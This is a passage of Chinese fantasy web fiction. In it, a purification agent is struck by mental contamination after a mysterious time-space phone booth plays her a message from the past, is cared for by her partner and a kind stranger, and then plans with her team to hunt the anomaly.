“哦。你还在啊。”九春带着点恍惚地说出这句,几步到她身侧坐下。游叶困扰般地笑笑:“干嘛,说得好像我经常清晨离开一样。”
他哼了一声。但也没有多少不快的意思。九春安静地咀嚼着,游叶慢条斯理喝着自己那瓶巧克力奶,君山和连湛不约而同感到某种尴尬。这尴尬种类俗称为“电灯泡症”。
不知什么时候,两个人全走开,去到上层连湛的客厅聊去了。九春问:“你今天有什么打算?”
“嗯?我有点事要去公会办一下,等会儿就走。”
“休息令——”
“别担心,公会有全屏蔽专车过来接,这不算违反规定。”
她说:“我很快就会回来的。”
九春不说话了。他盯了她好一会儿,游叶坦然相对。最终还是他先低下头,硬邦邦地说:“……行吧。”
游叶没明白他小脑瓜里在想什么,可能是起床气吧。她喝完自己的饮料,把盘子收进全自动清洁仪,再一个空投,瓶子精确飞进分类回收垃圾桶。
对此,九春露出和昨晚如出一辙的嫌弃表情。游叶冲他甜甜一笑,挥手,“拜拜——”
“你还是赶紧走吧。”九春别开脸。
等到脚步声消失后,他才抬起头来。
落地窗外,一辆公会全封闭型号的飞车缓缓升空。九春目送漆黑车身绕出流畅弧线,消失在大都会另一端。
*****
语音智能播报:“游叶专员,您的目的地已抵达。”
游叶停下刷光屏上的娱乐新闻,最后一个界面标题是“【無彩】乐队于节目中公布近日live行程”。
她推开车门,在街区入口下了车。君山置办的这套别墅位处大都会中心,净化源等级相当之高,覆盖范围包括一整个别墅区以及附近几条街道,保护此处不受一般异种精神污染影响。
自从异种出现后,所有人类宜居区都必须安置一个净化源,否则每天睁眼闭眼都得和精神
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污染打交道,一般精神抗性根本受不了。
她站在其中一条街道上,考虑着是不是应该逛逛附近,熟悉下环境。她最近几年完成的净化任务基本都在大都会之外,前几天才赶回来。君山选择的这个街区恰好她没怎么来过。
不过这里地理位置确实很好,离公会不远,再过去几个街区就是真正的大都会中心,设施齐全。
净化源涵盖的街道相当繁华,游叶打开掌机查了查,有一家甜品店颇受好评,她舔舔嘴唇,决定去补充点能量。
虽说去工会一趟解决她新入队问题也没耗费她多少能量。在朋友帮助下,很快就办完了。她还以为多少会受点阻碍呢。
不过,毕竟她和无垠公司的合约已经到期了,那边也没什么理由限制她选择加入哪个净化小队。
游叶按照三维路线图往甜品店走,顺便查看招牌甜品种类,想着或许可以带个草莓或者蓝莓派回去给九春。也可以再捎点曲奇什么的分给其他队友。
就在这时,诡异的波动在空气中震荡,三维路线图倏然化作光点消散,展示甜品店菜单的光屏也闪动几下,哗地消失了。游叶摇晃掌机,试图操作,却发现这电子设备黑屏了。
她向前看,阳光折射的角度变得奇怪,不同颜色的光晕染开,围绕着一个中心,一个物体逐渐浮现。
那是一座电话亭。变为红色油漆的外观,复古的形制,带着把手的拉门完好无损。祂静静矗立在街道上,与温暖阳光下附近的街景相得益彰。
是那座时空电话亭。游叶心中刚闪现这个念头,身体便不受控制地腾空而起,腾云驾雾一般,四周景色“唰”地模糊成一片。
等到她轻轻落地,能看清时,已经到了一个陌生的地方。首先感受到的,是四周的阴暗和头顶温暖的一束灯光。她抬起头,发现那是一个老式灯泡,现在除了专门复古的设计外都不会用了。
游叶没有丝毫慌乱,她转了一圈,打量这里的环境。
这是一个封闭空间,四面是金属栅栏,将玻璃切割成无数个方格,透过玻璃向外看,是一片灰暗的迷雾,浓厚,什么景色也看不见。
她身前是一个漆成红色的老式电话机,左边是听筒,右边是圆形拨号盘,金属转盘泛着温润光泽,但最外一圈上没有任何数字。
游叶忍了又忍,还是没忍住笑出了声:转盘上是一道清晰的裂痕,呈弧线,正如人咬下一口面包留下的痕迹。不消说,这自然是那位红发女性留下的。
不过,门被修复了。果然,从【彼界】内部进行破坏比从外界对这个异种的伤害更大。
游叶思忖着,此时,电话机上的屏幕亮了起来。
柔和的蓝光中,一个字接着一个字出现:您好,游叶。
“哦,你好?你知道我的名字啊。”游叶挑了挑眉,气定神闲地和电话亭背后的操纵者打招呼。
屏幕上写道:是的。您有一则来自过去的留言,还请聆听。
“过去。什么时候的?”
像素字体一个一个拼出:根据记录显示,这条留言来自十八年前。
游叶忽地笑了一下。她像是真的感兴趣了,“十八年前?真是久远啊。我能知道是谁留的言吗?”
查询中……此条留言并未要求匿名传递。
留言人:褚蕙。
游叶面无表情地看着这两个字。此刻任谁都看不出她心情如何。
漫长的寂静后,她伸出手,拿起听筒。
耳际传来金属的触感。几声嘀音后,有声音传入她的耳中,那是一个柔和的、略带亚热带区口音的女声。
那个声音说:“游叶。”
8. 善意
游叶等着下文。但没有了。听筒里只传来电波轻柔的律动音。
她沉默很久。女孩面上并无悲痛或狂喜,也没有后悔或期盼。对电话亭来说,这倒也是一个罕见的反应。很少有人能够在听到亡者的留言后还无动于衷。
她眼睫轻动两下,电话亭终于读出一种情绪。人们通常将那种心情称作怀念。
游叶抬头,对显示屏微微一笑,“原来她的声音是这样的。”
她将听筒放下,“多谢。”
本条讯息传递已结束。您可自行离去。
屏幕闪光几下,熄灭下去。
游叶没着急离开。她最后环视一圈电话亭内部,将所有信息铭刻在脑中。随后,她闭上双眼。
少年时期的训练开始发挥它的作用。皮肤感知告诉她,空气的湿度和温度都与外界略有差异,湿度稍微提升,温度稍微降低;鼻腔中微微刺激,若有若无的咸味和腥气缭绕;耳边传来遥远的回响,规律的、重复着,如同此刻一般身处某个密闭的地方。
信息提取完毕。游叶睁开眼。碧绿眼瞳莹莹,映射出头顶暖光,如同点点火焰在其中飞舞。
她握住门上把手,推门出去。
*****
她回到了那条街道,甚至没有偏差于原本站立的位置。阳光仍然温暖洒下,方位几乎没有移动。
几乎就在回到现实世界的同一时刻,剧烈的头痛就重重砸在了她脑中。游叶控制不住地干呕一声,又捂住嘴。
冷汗不过片刻便爬满额头,她尝试地向前走了几步,腿脚完全无法按照想要的方向行进,她伸手虚扶了一下,只抓住一片空气。她干脆跌坐到地上,确定是在人行道上就行。
大脑中像边被火针刺穿边被铁杵搅动,游叶眼前忽明忽暗,她努力眨眼,视网膜却无法调节。恍惚中,她好像看到很多光点在飞来飞去,像烦人的苍蝇。
游叶强迫自己冷静下来。不用说,这是被严重精神污染了。现在她四肢发软,无法行动,独自前往附近医疗点进行治疗并不可行。
她尝试发声,却只有气流无效通过声带。果然,她失去一般的发生能力了。
不过,这对她来说并不是个大问题。她比较担心的是会失去听觉,不过目前感觉还好,只是头痛过度,什么感官都不好使了。
再这样下去,要不了多久她就得昏在这里了。尽管这片区域治安不差,但会碰上什么事都还是不好说。更何况,她不想由他人来处理自己的精神污染问题。
游叶手指颤抖着,努力往回扣,去摸自己的掌机。只要再抓紧一点点……
“您好。”在一片钝痛中,一个声音模模糊糊传进耳中,“请问需要我送您去最近的寰宇医院吗?”
“不。”即使思维难以成型,游叶还是条件反射回答,“我不去那里。”
她不知道自己的声音听起来如何,但可以肯定对方一定会听见。这道言灵直接起效于对方精神,不需要用耳朵“听见”。她也不必用声带“发声”。
对方没有离开,“那么,您需要我帮您做什么?我随身携带了精神稳定剂和舒缓剂,但在了解您的身体情况前我不能随意为您注射。”
“再者,恐怕它们对现在的您不会起效。”他下了定论,换了一条思路,“不愿意去医院的话,您是否有可以前来帮助的联系对象?我帮您联系对方。”
头痛愈发剧烈。游叶几乎想要尖叫,又生生忍住了——以她现在的状态,尖叫不知道会毁掉几条街区。她至少还清楚自己在哪里。
“手。”
对方精确地捕捉到这条指令,晃动变形的视野里,一个形状降下,他半蹲下来,捉住她痉挛的右手。
那里是她的掌机。游叶断断续续挤出语句:“掌机。……密码、是……”
五秒后,掌机打开了。即使是在这当口,游叶也不禁心中划过一丝惊讶:她的密码并不是常规规律的数字字母组合,而是从无垠公司内部学来的一套加密密码,正常人不应该一次就能记住并完成。
这时,她听见对方说:“无意冒犯,但您的密码是那个人的名字么?”
原来是校友。尽管被痛苦贯穿,游叶仍然勉强露出一丝笑意,“没、错。……通讯录、你……”
“请您放心,我找到了。”对方将她的掌机卸下,进行了一次简短快速的通话。
十几秒后,他将掌机塞回她掌心。“对方已经在来的路上了。您不需要勉强自己再用显征能力。那对您的精神和身体消耗会更大。”
他意识到自己是使用言灵的显征者了。果然是无垠公司“群星营”里培训出来的,普通人撞上有人在自己脑子里直接说话恐怕都会吓得不轻,只能被动根据她的指令动作。他倒是若无其事,行为言语也都完全出自自身意志。
当然,部分原因是他想做的和她要他做的是一件事。游叶不再发声,只能感觉到对方一直没走。他应该是打算陪她到那个人到来。
两个人沉默了片刻。游叶已经完全看不清了,但隐约能感觉对方一直在注意自己的情况。
“为了避免您陷入恐慌和昏迷,我会持续向您说话,您不需要回复我。”那个声音响起,随后停顿了一下,似乎在考虑要说什么。
几秒后,它缺乏起伏地响起:“今天我早上七点起床,早饭是肉包和复合型果汁,随后七点四十前往工作现场……”
“等、等一、下。”几分钟后,游叶不得不打断他,“你说、这个、我更想、嘶——睡觉了……”
声音停顿了一下。“抱歉,很多人都说我不太有趣。我也确实……不太知道这种时候该说什么才好。”
或许不太有趣,但一定是个好人。游叶想着。
福至心灵一般,游叶咬出几个字:“那就、唱歌、吧。”
她没太多力气继续控制自己语句里的力量了。再使用显征能力,她也把握不
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了会造成什么效果。如果伤害到对方的精神状态,那就太对不起这个好心人了。
大概是没想到会听到这样一个要求,对方的声音中断了片刻。游叶以为他要继续客观描述他的一天,然而,一个轻柔的声音响了起来。
他的确在唱歌。歌词她已经听不清晰了,但旋律简单、轻快、温暖,也许是首童谣。
他其实唱歌挺好听。声音也没那么冷静又没起伏——不如说,唱歌时他的声音才多了些律动,也变得更加柔和,和人工智能实时播报的声音终于不怎么像了。
在这单纯的歌声中,游叶努力对抗痛苦,克制住自己出声的欲望。
*****
九春心急如焚地跳下浮空车,甚至等不及它降落。
已接完那通电话,他立马到车库里,开了君山配置的高速浮空车出来。他们的队长出手大方,配车都不止一台,而是一人一台,他还听到她在订第五辆,说是送给游叶的入队礼物。
在一家店的门口,道路边沿,他看见了他着急寻找的人。
他向那处跑去。尽管心中急切无比,但在看到游叶身边那个蹲坐的身影时,他还是愣了一下。
电话的时候他只听到了内容,对面是谁在讲话他印象全无。他脚步放缓下来,那个人见他来了,中断了歌声,站起来。
他看起来倒是不太惊讶,大概先前就猜出是他。男子对他一颔首,九春也点头回应。他们没有交谈,彼此都没有这个时间。
九春几步奔到游叶面前,他直接握住她肩膀,低声问:“你能听见我吗?”
没有回应。她已经陷入半昏迷状态。九春从腰包掏出一管强效安定剂,在她左手捏了几下,希望她能接收到这个信号。这在他们的训练暗语里,代表着“药物注射”的意思。
没有犹豫,他干脆地将针头刺入她颈部血管,一推到底。效果立竿见影。女孩的身体最后颤抖几下,瘫软下来,倒在他怀中。
这药的效果是强制让人昏睡,遏制精神污染带来的神经影响,并且放松肌肉,属于非常强力的精神污染对抗药剂,非异种净化专员无法获得,价格也并不便宜。霄日生物制药公司出品,保证精品。
九春看着她的脸。他刚刚就察觉到有点不对劲。他手法熟练地卡住她下颌,动作小心地将她的口腔掰开。
他吸了口气。鲜红的舌头上,一如既往的两道黑线交叉而过,然而遍布鲜血,是她刚刚强行让自己不要发声,咬住口腔过紧导致。
他将她口腔合上。九春轻松抱起她,这才注意到道路边沿已经软化下去,如同返还回建筑材料混合的原浆。那是她手掌紧贴时传到过去的“转换”力量造成的结果。
如果不停止,可能会进一步蔓延。到时候整条道路都会受影响。
九春犹豫了一下。他站在原地几秒,才奔跑离去。
在他的身后,那段边沿逐渐鼓起、硬化,回到原本的形态。
9. 心潮
九春抱着游叶,从转道平台直接去了他自己的房间。他把她放在床上,随后说:“启动体征全方位检测。”
床边墙面自动延伸出数根金属探测细丝,贴在游叶身上。眨眼间,床头投影出一片光幕,上面详细地呈现出她身体的各项数据。
心跳、呼吸、肌肉放松程度,这些都在正常范围内,她的状况应该在那一针强效安定剂下稳定下来了。
尽管医学工程师们呕心沥血、耗光无数人的青春和白发,精神污染数值始终是一个无法被测量的数据,盖因大脑里的事太过复杂,单纯检测脑电波和大脑皮层活动等等都无法准确反映,每个人的脑子和精神污染抗性又各不相同。
一个人的精神污染程度如何,只能从他本人感官表述和表现症状中大致得出。专员们会比较细致地进行区分,但普通人大抵都是“疯了”和“还没疯”这两端这样区分。
比较靠谱的科学检测法还是通过身体各部分数值来衡量。要是一个人沉睡着也一直心跳呼吸过速,又没有相关疾病,那多半精神污染相当严重了。
九春盯着光幕上的几项数据,一眨不眨,知道眼睛感到酸痛,他才蓦然惊醒。
他在掌机上的家居智能软件里操控数下,调配了一个完整医药箱到他房间来。他卧室里常备的精神疗愈药物是针对自己的,对游叶有其他更有效果的药物。
这些药物分别是什么,他了然于心。他带出去的那支强效安定剂是就是她自己也会用的型号。
没过多久,载着医药箱的自动滚轮车进了房间,随之而来的是君山的电话:“怎么忽然要最高规格的全套医药箱?你出什么事了吗?”
“不是我。是游叶。”九春简略把事情讲了一遍。
那头沉默了一会儿,说:“我可以给她调最高级的加护病房,就在这个街区。”
“不用。我会照顾她。”九春凝视着游叶沉睡的面孔。房间窗帘没有全拉上,残余的一点阳光照在她脸上,仿佛宗教画像里的天使。
“你确定她的状态稳定可控吗?她毕竟是个显征者,并且非常强大。”
君山语气不自觉有些加重,意识到这点后,她又放缓了语调:“你知道我的意思,九春。”
他自然知道她是在担心他的安全。类似游叶这样显征能力攻击性很强的显征者,如果出现精神污染症状,通常——且正确的做法都是安置在完全封锁的病房内进行监控,因为没有人知道他们的显征能力在精神失常的情况下会失控到什么境地。
即使是对精神污染的普通人的看护,一般也建议安排到专门的精神治疗球里。那是政府管理的大型精神治疗建筑,免费为所有被污染的居民提供,由于形似大型蘑菇,房间都是圆形孢子状而得名。
九春说:“我知道。我确定她不会对我造成伤害。”
她伤害不到他。
——不,她不会伤害他。
电话里传来一声叹息。九春无心再多交谈,他挂断了。
他拉了张椅子,在床边坐下。
九春感到胸中一阵发苦,后悔无可抑制地涌上来。如果他早上一起陪她去办事就好了,为什么他没有去?如果他和她一起,即使是被异种缠上,两个人分担精神污染,情况也会比现在好些。
他明明也是想和她多待一会儿的啊。
他自问不是一个粘人精,缠人的那方一般都是游叶,他有时候还会出于一些无谓的心情不高兴和她贴在一起。游叶又已经加入他们队,他想着以后他们会有时间,或许也不急于这一时;又想着游叶要去办的事可能他也并不方便参与,他们之间并非全无秘密,只是他深信游叶不会害他,因此从来不曾多问。
而等待的结果,就如现在这样,他坐在一边,看着沉睡的她。却束手无策,只能等待。这种无力感真的要把他逼疯了。更可怕的是,他们都不是第一次体验这种时刻了。
然而,每一次都是如此,心膨胀欲裂。
九春苦涩地叹出一口气。他倾身过去,握住她的手,感到偏低温度。精神污染回复中的常见现象,女性中尤其多见。
但他还是忍不住担心。精神污染会对人造成什么样的危害,谁也说不准的。他在无垠公司“群星营”里训练那么久,出了那么多次任务,见过太多案例。
有人出完A级【彼界】全身孔洞都在往外淌血,在监护病房里躺了三个月,所有人都以为他不行了,但最后此人醒转过来,过了三天就能下床正常吃喝蹦跳了。
也有人只是误入某个【彼界】污染范围,精神安定地走出来求助,在精神治疗球里表现正常,一点症状都没有,但几天后他忽然认知紊乱,拿着衣服把自己吊死了。
有时候,医生们也不得不承认,人可能的确要认命。
也许是房间里太安静,他忍不住胡思乱想:如果她就这样永远醒不来了怎么办?如果她醒来了,却不再认识他了怎么办?如果她醒来还是被噩梦缠绕,他要怎么办?
他想要告诉自己不可能,游叶是他见过几乎最强的异种净化专员,不可能因为区区一个被定为B级的异种就收到不可逆精神伤害。但担忧是不讲道理的,那种感情汹涌地压过理性,让他几乎无法思考。
游叶没有动静。她面容沉静,甚至有些天真无邪,看上去不像在做噩梦。这应该是个好兆头,但他越是凝望,越是觉得,这太平静了。
他曾经见过这样的平静。那面睡容久久地、深刻地镌刻在他记忆深处,那个人就这样一直睡着,直到走向永无回头的沉眠。而他只能握住他的手,掌心温度随着时间流去。
他想起闻莺死去的那个夜晚。一瞬间,浑身冷汗。
他的样子和如今的游叶重合在一起,不知为何。
隔了好一会儿,九春才发现自己在颤抖。
他咬紧牙,控制住身体。他看向沉睡的游叶,无端地想起他二十岁成人礼后第二天的早晨。那个时候游叶也是像现在的他这样看着还睡着的自己吗?她会想什么,想的会和他是一样的吗?
安静的房间里,连她的呼吸声都这样清晰。
“不管你去到那里,我都会去找你。”
他轻声说。
*****
告别九春后,那个人打了一辆飞车,一路直奔市中心的雅努斯(Janus)电视台大厦。
他刷了卡,搭乘背面员工专用电梯,卡面上写着“绀宇”两个字。
这个时间点,电梯基本没有使用者。他很幸运地一个人独享一部电梯,并且在最短时间内赶到了他该去的地方。
游叶视力受损,没有看到,这位好心人穿着相当正式,虽然还不到三件套西装的程度,但笔挺的衬衫和西服像从广告上扣下来的,标准的上班族姿态。深蓝色的领带和他的眼睛颜色一致。
他来到一扇门前,敲了敲,听到里面说了声“请进”后才推门进入。
正前方的软椅上,一个人背对着他坐着。女子有着漆黑长发,柔顺地滑过肩膀,而往下的衬衣与长裤简洁利落,剪裁合身,仔细看,能够窥见底下流畅的肌肉线条。这就不像一般的上班族了。
她没有回头,只是说:“你迟到了。”
语气并不激烈,甚至听不出指责的意味,仿佛只是在平静地陈述事实。
“抱歉,来晚了半个小时。”他说。
“我不是要你道歉的意思。”
女子终于转过头来。她的容貌年轻,但略带疲惫,这让她看上去比实际更成熟。
每每看到她的脸,绀宇总会想到别人和他说过的话。那个人感叹说:“就算第一眼没有注意到、就算只是擦肩而过、就算周围的人再多,不用三秒,你一定会不由自主停下脚步,然后发现所有人都在做和你一样的事:看向她。”
事实的确如此。她仿佛天生就是吸引他人目光的焦点,聚光灯始终闪亮。
在这样一张脸上,有着一双奇异的眼睛。瞳孔如同尖晶石般,呈现粉色。除了白化病人(如今这种疾病已可治愈)以外,他没有看过这样的眼睛颜色。
许多人将之认作她是显征者的证明。但绀宇做她助理这么多年,从来没弄清楚过她究竟是不是显征者。即使他们出过那么多次任务,他也还是不能百分百确定。而不能百分百确定的事,在他这里就不能被认可。
全人类居住范围内统计,异种净化积分榜排名第一名,天缨。
无论是从哪个角度来看,她都是这个时代的传奇。而此刻这个传奇人物正紧盯着他,问:“你被什么事情耽误了?”
每次被她这样盯着,绀宇都会油然而生一种被捕食的错觉。但他相信绝大多数人面对这样的视线都会有这样的感觉。
他说:“碰到了一位遭受精神污染倒在路边的女性,我陪同她直到救助者到来,所以晚了些。”
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“精神污染受害者?”天缨仍然凝视他不放,“原来是这样。”
“你援助的话,想必不会有问题。”她转过头去,手指心不在焉地摆弄拍摄用的项链,看来是不太习惯有个东西戴在脖子上。对她来说,这种首饰只会增加在【彼界】中被扼颈的概率。
绀宇等待片刻,才听到她说:“下次有这种事,记得给我发消息。我会过去和你一起处理。”
刚刚她才表达了对自己援助水平的信任,现在又是在说什么?绀宇感到些许困惑,思考了一下,他说:“但那个位置和您还是有一段距离的,这样来回走对您来说过于麻烦,且无必要。我可以处理,再说,这也是我的私事。”
天缨语气平淡:“和距离没关系。如果对方是个显征者,你可能会有危险。我过去可以保证你的安全。”
这么说,救助的那位女性的确是个显征者。见绀宇目光游移,天缨瞪大了眼睛,“真的是个显征者?”
她斥责道:“你太不小心了!要是被那个人伤到怎么办?”
虽说是被责备,但绀宇没有不悦,他清楚感受到话语底下潜藏的关心,这反而让他心情轻快一点。他说:“请您放心,这种可能并不大。我毕竟是在群星营培训过的,作为非显征者,我知道应该如何应对失控的显征者。”
提到无垠公司,天缨沉默片刻。她也是从那里出来的——不如说,她是无垠公司“群星营”计划最成功的案例,他们的金字招牌。她自然知道这培训过程和培训结果是什么水平。
但这显然不能完全说服她。“即使如此,如果是可以作用于精神的显征能力,培训也没辙。”
……这么说,那位女性好像也的确,是可以作用于精神的显征能力。连续两次被点中,即使是绀宇这样平时情绪完全不显露的,也不由感到一丝心虚。
“还真是精神显征能力?”天缨声调骤然拔高,又立刻压回去,她唰一下站起来,瞬间来到绀宇身前,行走之间利落至极,肌肉一瞬间爆发出难以想象的能量。她仔仔细细观察他。
“我没事。”绀宇有点狼狈地避开她视线,“那位女性还有一定意识,她的能力没有对我造成任何影响。”
确认他精神状况的确无碍,天缨才放开摁住他双肩的手,她叹口气,说:“没事就好。下次遇到这种情况,记得叫我过去。”
绀宇默默点头。他脑中忽然闪过一个想法:如果不是自己,是其他人,她也会这样做吗?
他忍下问出这个问题的冲动。天缨却仿佛读了他的心,她淡淡地说:“你是我的助理,我有责任保护你的安全。换作其他人也是一样。”
绀宇垂下眼。“我知道。”
顿了顿,他还是忍不住问:“您真的不怪我迟到?采访应该因此延迟了——”
“你做我助理四年,就迟到过这一次,比起怪你,说实话,我更担心你是不是出事了。幸好不是。”天缨瞥他一眼,晶粉色眼瞳扫来,让他呼吸一窒,“至于采访,他们主持人没到,本来就推迟了。”
刚刚微小的失落立刻消失了。绀宇自己都没发觉,他的嘴角上升了三个像素点,“那就好。”
“对了,我的下个任务能不能提前?宣传工作就剩这一个了吧,西城区又出现了一个A级异种,我想尽快去处理了。”
听到这个要求,绀宇眉毛立刻拧在了一起,“不行。”
他语气斩钉截铁:“您已经连续两个月没有在净化任务后好好休息过了,这一次采访结束后,您必须休息至少一周。”
“一周,那个异种都能污染到这大厦来了。”天缨明显不服。
“这世界上不是只有您一位异种净化专员。这句话我已经和您说过很多遍了,您是从来都没听进去过吗?”绀宇微微弯腰,只有这种时候他才能直视那双粉色瞳孔而不畏怯。
天缨不说话了。但她的表情明显还是不高兴。绀宇放柔声调,劝说她:“您就休息一下吧。那个异种我会调度人员跟进净化的。”
他又说:“您不是说您的妹妹这几天回大都会了么?您也可以趁这个机会和她见一见,之后可能又要忙起来了。”
说到这个,天缨呆了一呆,她喃喃道:“也是。”
见她不再坚持,绀宇总算松了口气。他在心里感谢这位素未谋面的妹妹。
他看着天缨凝视虚空,仿佛在其中寻觅着亲人的面孔。
10. “游猎”
仿佛被波浪承托至海面,海风拂过面庞,游叶短暂地深吸一口气,醒了过来。
在绀宇开始唱歌后,她很快就失去了所有感官,唯一的理智都用来抑制自己不要使用显征能力。不过,再怎么不清楚状况,她也清晰地感知到此刻自己不在那条路旁。
头痛基本消失了,五感全数回归,左手被另一种温度包裹。游叶尝试动了动手指,只感到刚睡醒后松弛的疲乏感,并挠到了另一个人的掌心。她没睁开眼睛,犹带困意地叫了一声:“九春?”
“我在这里。”他的声音传来,紧接着是一阵衣料摩擦的沙沙声,手并没有松开,“你感觉怎样?”
“唔……没什么问题了。睡了一觉挺舒服的。”游叶打了个哈欠,张开眼睛,“说话能力也恢复了。”
她第一眼看到的就是九春近在咫尺的脸庞。他神色疲惫,下颌线条依旧紧绷,但还是很好看。游叶一边感慨自己成天被他美色所惑,一边察觉出他先前承受了多大的心理压力,出言安慰:“我没事的。只是一下子来了一个强的精神污染有点没适应过来而已。”
九春神色稍缓。游叶撑起自己上半身,她看了一眼拉起的窗帘,“现在几点了?”
“凌晨三点三十七。”
睡了八个小时左右,真是一场好眠。而九春大概从找到她的那一刻就没合过眼。思及此,游叶拍了拍自己身边,“休息一下吧。”
九春犹豫了一下。游叶说:“我不走。你过来睡吧。这床挺大的。”
这跟床的大小显然没什么关系。她只是没话找话。九春不再抗拒,现在看到游叶没事,紧绷过久的神经一下子松懈下来,疲倦潮水般漫过躯体,他也确实有点撑不住了。
他松开手,去卫生间换了套宽松睡衣,掀开那角被子,钻进去。游叶的体温清楚地在他身侧,他久违地感到安心。
“你不舒服就叫醒我。”他叮嘱。
“如果我自己处理不了的话。”游叶承诺。
她看着对方闭上眼睛。游叶手指抚摸他的发丝,她撤掉了对自己身体数据监控的细丝,心知并无必要。她对自己的精神情况向来很有把握,否则也成不了最顶尖的那批异种净化专员。
九春忽然睁开眼睛。游叶和他视线对上,在那篇澄黄色中读出犹疑、担忧和恐惧。刹那间她居然读出了他心思,游叶说:“我不会消失的。”
她说:“我不是和你保证过了吗?我不会再不辞而别。”
听到这句,九春神色终于柔和下来,他闭上眼,不一会儿就传来了均匀的呼吸声。
游叶静坐在他身边,等待天明。
*****
担心游叶可能会需要更专业的医疗援助,尽管被九春推辞,君山还是联系了家族旗下合作的医院。不过一夜过去没有消息传来,依照九春的行事方式看,大概是没什么问题了。
君山处理完事情,中午时分回到了小队住所。出乎她意料,在一桌豪华外卖边上的,是神出鬼没的川汜,他们的“游猎”。
“你居然这个点醒着。”君山一屁股坐下,语气里多少有些难以置信。川汜是出了名的吸血鬼作息,昼伏夜出的终极代表。
川汜微笑以对:“偶尔也想晒晒太阳。”他开始拆菜品上的保温薄膜,君山和他一块儿。
拆到三分之二,电梯口传来一声:“大家中午好。”两人转头看去,游叶和九春从其中走出来,气色都相当不错。
君山点点头,“中午好。你身体没事了吗?”
“没问题了。睡一觉就好。还有霄日的强效安定剂很有效。”
九春用了这个。那看来当时情况确实比较紧急了。不过药物加睡眠就能恢复完全,游叶的精神抗性看来也相当可怕。
“那就来吃吧。我点了所有人的份。”君山招呼他们。
四个人一起动手,很快就拆完了。他们一起坐在桌边吃饭,看上去倒像个其乐融融的和谐小队,不像才刚认识几天。
午餐中途,游叶说:“关于下一个任务,我有点想法,请大家听一下。”
闻言,除了九春,其他人都停下筷子,而他只是站起来夹了一筷子远处的腐竹烧排骨又坐了回去。要么是他们提前了聊过这件事,要么就是不聊也知道对方要说什么,君山总感觉更有可能是后者。
游叶对此没有特别表示,她开始陈述:“我想,我们的下一个任务,可以是净化这个时空电话亭。”
“无永久精神污染风险、等级低于A级、范围在大都会以内,这些刚好符合我们小队承接任务的条件。更好的是,因为它很难抓,存在时间又偏长,净化积分比一般的B+级异种要高不少。”
她语调轻快地说着,其中蕴含的自信让人不禁想要相信她描绘的事物。“综上所述,我觉得这个异种很适合作为我们下一个净化目标。大家怎么看?”
川汜陷入思索,君山亦然。九春没有反应,只是一昧地动筷子。游叶也夹了个生煎包,呼呼吹了几下热气,等其他人发表看法。
“确实,从这几个条件来看这个任务很适合我们。如果能解决的话,我们队的评级可能可以再上一层。不过有一个问题,”
考虑片刻后,君山说:“我们要从哪方面下手来找到净化祂的方式?目前我们还没有净化过非【通关型】的异种。据我所知,【漫游型】异种的净化往往都相当困难。”
确实如此。没有专业人士的净化小队都不敢接【漫游型】异种净化任务,就是因为无法参透对面逻辑、找到净化方式。如果是比较不稳定的异种,还会造成人员伤亡。
也因此,【漫游型】异种的净化积分较同等级【通关型】异种都要更高,而且会随存在时间的变长而增加。这座时空电话亭已经存在一年以上,积分涨了不少,但还没有人得出净化祂的方法。
“别担心,我已经有想法了。”游叶露出胸有成竹的笑容。
“至于追踪定位,”她转向队伍“游猎”,“川汜,你可以做到吗?”
川汜慢条斯理地放下杯子,他嗓音轻柔:“可以。”
闻言,游叶感到奇异地看他一眼。她本以为这会很困难,对于一个随机地点出现、没有触发方法、也不清楚追踪条件的异种,他居然就这样一口答应下来了。
不愧是有家学传承的“游猎”,和一般野路子出家和公司、学校培训的有很大不同。至少她认识的一同从无垠公司培训出来的游猎,即使是最优秀的那几个,面对这种行踪无影的异种追踪要求,都得想想怎么拒绝比较礼貌。
“不过,为了提高追踪的准确度,我需要更多进入过这个电话亭的人。”川汜转了转左腕上的多重琉璃环,“进入的时间越新越好。留下来异种污染残痕越新鲜,追踪越精确。”
“我昨天刚进去过,你可以用我的数据。”游叶说。
川汜优雅颔首,“那么,午饭过后,请游叶阁下跟我走一趟。”
“那我们其他人就发挥各自的调查能力,好好扒清楚这个电话亭的底细吧。”君山一锤定音,“还有,强制休息期过后多出门走走,看看能不能碰上祂,带点那什么……残痕回来,给川汜分析。”
“连湛呢?不问问他?”九春问。
君山耸耸肩,“他会同意的。他一直想学怎么净化【漫游型】异种。”
事情就这样决定下来。午饭后,游叶跟随川汜来到他的卜星室。这是一间古朴、密闭的房间,位于别墅最顶层,离头顶星空最近的地方。
游叶打量着四周博古架上形形色色的物件,问:“你是依靠群星运转轨迹来追踪异
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种的么?”
“简单的来说,是的。不过实际操作起来非常复杂,不只是运转轨迹,还有它们之间的关系、引力、旋转周期……都会有点关系。”川汜调试着仪器,指示游叶在正中一把椅子坐下。
游叶听从他的指令,姿态端正地坐好。她说:“这样看来,你们的追踪方法和无垠公司群星营说不定蛮适合呢,都有着‘星’这个字。”
“实际上,无垠公司的确来请过我祖父出山教学,不过他拒绝了。”川汜准备好一系列仪器,站到她对面。
“也是。毕竟是家学渊源甚至能追溯到异种降临前时代的闵家。”游叶的语气并不意外。
“您是在好奇我为什么加入这个并不专业的队伍?啊,抱歉,九春阁下还是非常专业的。”川汜慢悠悠地说,“没什么特别理由,只是刚好有空当。还有,君山阁下给的确实很多,您签过合同了,也是知道的。”
他没有必要说谎。从他的家族背景来看,和无垠公司应该也扯不上关系。游叶暂时放下对他的疑虑,笑着说:“确实很多。”
“还有就是……”川汜思考着即将出口的话语,“他们虽然没什么经验,但成长很快;而且,心意是好的。”
“他们选择走上这一条不算轻松的道路,不是为了钱,也不是没有别的选择,而是想保护我们自己生活的地方不受侵害。我觉得这样很好。我愿意和这样的人组成一个小队。”
游叶愣住。她没想过能听到这样一番肺腑之言。川汜本没有必要和她说这些。
“虽然我们都清楚,您是因为九春阁下在这个小队才加入我们。”
他下一句话就直白得很了,也就是游叶这样的才能完全不感到尴尬,甚至连害羞都没有。她甚至歪过头笑了一下。
川汜拨动腕间重重叠叠的琉璃环,柔和的光芒从其间溢出,游叶的目光不由自主被吸引过去,她好奇地张大了眼睛,想看看其中是否真正群星闪耀。
“还请您不要看轻他们的心意。他们迈入这个世界,不是来玩玩就算了的。”
突然听到这一句,游叶微微动容。她说:“你和九春都对他们俩评价不低。”
“他们并不差。”
“我会自己看。”游叶简单回答。
这已经是他能想到的最好的回应。川汜手指猛力一划,琉璃环飞速转动起来,如同花瓣般渐次转开,整间方室随之逐渐点亮,呼吸一般明明灭灭。
